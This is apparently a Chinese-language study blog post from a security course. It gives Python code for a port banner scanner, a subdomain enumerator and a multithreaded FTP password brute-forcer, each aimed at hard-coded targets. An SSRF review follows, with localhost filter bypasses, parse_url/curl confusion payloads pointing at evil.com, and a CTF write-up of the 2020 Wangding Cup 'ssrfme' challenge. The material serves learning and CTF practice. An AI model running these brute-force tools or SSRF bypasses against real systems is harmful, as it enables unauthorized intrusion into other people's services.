Background

没剩多少课程了,就和ssrf漏洞一起复习下吧

扫描banner信息

Banner软件开发商版本之类的from socket import *

import threading

def scan(host,port):
    sock = socket(AF_INET,SOCK_STREAM)
    try:
        sock.connect((host,port))
        sock.send('Hello\r\n'.encode())
        result = sock.recv(1024)
        print(result.decode())
    except Exception as e:
        print(e)
    finally:
        sock.close()




if __name__ == '__main__':
    jobs=[]
    target_host="114.55.65.251"
    ports=range(45000,45999)
    for target_port in ports:
        t = threading.Thread(target=scan,args=(target_host,target_port))
        t.start()
        jobs.append(t)
    for job in jobs:
        job.join()

    #scan('175.24.46.37',22)

这段代码的知识点还是有很多值得考究的,比如多线程的使用

子域名枚举

关于python异步的学习

import asyncio
import dns.resolver
import dns.rdatatype
from concurrent.futures import ThreadPoolExecutor

def query(resolver,task):
    try:
        result = resolver.query(task,'A')
        return result
    except dns.resolver.NXDOMAIN:
        return None
    except dns.resolver.NoAnswer:
        return None
    except dns.resolver.Timeout:
        return task
    except Exception as e:
        print(e)
        return None
async def read_dict(file,tq,target):
    #await tq.put(target)
    #return
    with open(file,'r') as fp:
        for line in fp.readlines():
            await tq.put(f'{line.strip()}.{target}')

async def scan(tq:asyncio.Queue,rq:asyncio.Queue,resolver:dns.resolver.Resolver,executor):
    loop = asyncio.get_event_loop()
    while True:
        if tq.empty():
            await rq.put('end')
            break    
        task = await tq.get()
        result = await loop.run_in_executor(executor,query,resolver,task)
        if result == task:
            await tq.put(result)
        elif result:
            await rq.put(
                {
                "domain":task,
                "result":result
                })


async def parse(rq):
    while True:
        if rq.empty():
            await asyncio.sleep(1)
            continue
        result = await rq.get()
        if result =='end':
            break
        print('='*20,result['domain'],'='*20)
        for answer in result['result'].response.answer:
            for item in answer.items:
                print(dns.rdatatype.to_text(item.rdtype),item)

if __name__ == '__main__':
    target_domain = 'baidu.com'
    executor = ThreadPoolExecutor()
    main_resolver = dns.resolver.Resolver()
    dict_file ='domain_dict.txt'
    task_q,result_q = asyncio.Queue(),asyncio.Queue()
    loop = asyncio.get_event_loop()
    loop.run_until_complete(read_dict(dict_file,task_q,target_domain))
    calls=[scan(task_q,result_q,main_resolver,executor),parse(result_q)]
    loop.run_until_complete(asyncio.wait(calls))

非常值得学习,跟着学一下,等到有时间了好好钻研一下里面异步的东西

ftp信息爆破

socket连接ftp服务 然后批量验证
7BC6E182-1F16-4920-B5B9-5A022F5F8124.png
跟上一个小项目一样值得说的就是socket这个,在python里面用socket进行连接
我们这两个都需要两个套接字,一个是面向网络的 一个是面向有链接的
AF_INET,SOCK_STREAM

sock = socket(AF_INET,SOCK_STREAM)
sock.connect()

sock.close()

应该直接写出来

from socket import socket,AF_INET,SOCK_STREAM
from concurrent.futures import ThreadPoolExecutor,as_completed
def scan(username,password):
    sock = socket(AF_INET,SOCK_STREAM)
    sock.connect(('114.55.65.251',21212))
    sock.send(('USER%s\r\n'%username).encode())
    result = sock.recv(1024)
    if('Please specify the password' in result.decode()):
        sock.send(('PASS%s \r\n'%password).encode())
        result = sock.recv(1024)
        if'Login successful' in result.decode():
            sock.close()
            return password
    sock.close()
    return None

def readlist(file):
    with open(file) as f:
        return[line.strip() for line in f.readlines()]



if __name__ == '__main__':
    dict_filename = 'ftp_dict.txt'
    user = 'flag'
    executor = ThreadPoolExecutor(max_workers=19)
    tasks=[executor.submit(scan,user,pwd) for pwd in readlist(dict_filename)]
    for future in as_completed(tasks):
        res = future.result()
        if(res):
            print(res)

ssrf复习

ssrf这个点其实在ctf和现实生活中都很常见,也算是复习下这个漏洞在ctf中的利用手法和攻击手段
ssrf全称为Server-side Request Forgery,即服务端请求伪造攻击。很多web应用都提供了从其他的服务器上获取数据的功能。使用用户指定的URL,web应用可以获取图片,下载文件,读取文件内容等。这个功能如果被恶意使用,可以利用存在缺陷的web应用作为代理攻击远程和本地的服务器。

也就是说,ssrf的漏洞点在于:服务端提供了从其他服务器应用获取数据的功能,在用户可控的情况下,未对目标地址进行过滤与限制.
常见场景包括但不仅限于:

1.社交分享功能:获取超链接的标题等内容进行显示
2.转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
3.在线翻译:给网址翻译对应网页的内容
4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片
5.图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验
6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
7.网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
......
在php里面函数如果应用不当很容易造成ssrf攻击
比如
file_get_contents获取url内容
EE62EC98-20F4-4DD4-8DBF-688CA5390294.png

fsockopen()
和curl_exec

还是把重点放在ctf里面的绕过
我们目标都是访问本地的/flag.php 或者是内网其他主机
当地址被处理的时候
还可以通过八进制来
可以通过省略达到同样的效果
1.http://0/
2.http://127.1/
3.ipv6:http://[::1]/
4.http://127.0.0.1./

然后就是对url的bypass

500730A2-116F-4919-B657-3609BDC40E1F.png

scheme 协议
authority 权限=主机名+端口号 ,再详细一点如
admin:admin@www.example.com:2333`(使用用户名为 admin,密码为 admin,访问 www.example.com 的 2333 端口获取资源)
path 路径
query 查询
fragment 指向一个更低级别的资源

orange师傅讲过php函数在处理的时候会有差错,67A1AD3B-8744-45A7-A7FE-054956F4B6ED.png
@可以轻松使google.com(默认白名单)置为host,达到绕过php parse_url的效果(这里用#将@忽略了)

对于curl操作,假如使用libcurl
A14158C5-38AB-4F59-83BC-49844CB70A0A.png

将第一个@后的危险网站置为执行curl的对象,达到漏洞利用。
http://evil.com;google.com。curl会将evil.com当成
hostname,而将后面的google.com当做query
在byc_404师傅的博客看到了个标配源码
1.filter_var对url进行check
2.parse_url获取url的host
3.对host进行正则匹配
4.exec执行命令

<?php
   echo "Argument: ".$argv[1]."\n";
   // check if argument is a valid URL
   if(filter_var($argv[1], FILTER_VALIDATE_URL)) {
      // parse URL
      $r = parse_url($argv[1]);
      print_r($r);
      // check if host ends with google.com
      if(preg_match('/google\.com$/', $r['host'])) {
         // get page from URL
         exec('curl -v -s "'.$r['host'].'"', $a);
         print_r($a);
      } else {
         echo "Error: Host not allowed";
      }
   } else {
      echo "Error: Invalid URL";
   }
?>

http://evil.com;google.com是可以执行curl到危险网站的。但是假如在curl之前加上filter_var 我们可以用0://这样来使用
但是curl可能会执行不了,所以要加上端口强调
parse_url的作用只是将一个给定url分成上面提到的scheme,hostname,port,path几部分
所以
0://evil$google.com
执行时,bash会将后面的$google.com当做一个变量并置为空,所以exec()时仍是指向evil.com

如果使用file_get_contents
可以使用data伪协议
data://google.com/plain;base64,xxxxxxxx

说两个简单题吧,php一道,python一道
都是黑盒 python这个ban了127.0.0.1
用省略的方法
6C582F31-08E8-42EF-9FBB-AFCDA9345525.png
访问本地的flag.php
提交127.0.0.1/flag.php即可
D5049DFE-5870-4E7A-AA0A-F7C2352F8492.png
最后说一个比较有意思的题目 题目来源自网鼎杯2020的玄武组 ssrfme
第一步要求格式

<?php
function check_inner_ip($url)
{
    $match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);
    if (!$match_result)
    {
        die('url fomat error');
    }
    try
    {
        $url_parse=parse_url($url);
    }
    catch(Exception $e)
    {
        die('url fomat error');
        return false;
    }
    $hostname=$url_parse['host'];
    $ip=gethostbyname($hostname);
    $int_ip=ip2long($ip);
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}

function safe_request_url($url)
{

    if (check_inner_ip($url))
    {
        echo $url.' is inner ip';
    }
    else
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        $output = curl_exec($ch);
        $result_info = curl_getinfo($ch);
        if ($result_info['redirect_url'])
        {
            safe_request_url($result_info['redirect_url']);
        }
        curl_close($ch);
        var_dump($output);
    }

}
if(isset($_GET['url'])){
    $url = $_GET['url'];
    if(!empty($url)){
        safe_request_url($url);
    }
}
else{
    highlight_file(__FILE__);
}
// Please visit hint.php locally.
?>

check_inner_ip函数判断其是否为合法内网ip,并使用http或gopher等协议
safe_request_url先用上一个函数判断,不符合即会开启curl会话,输入值
http://50754119-f14c-46a3-94e8-4b3b3582ebce.node3.buuoj.cn/?url=http://0.0.0.0/hint.php
get hint.php

0FC81BD4-211F-4222-9394-3A4F55F42327.png
经典主从复制打redis,这个先留一个坑,明天再去写一个关于这题的配置,以及ssrf gopher打的一些东西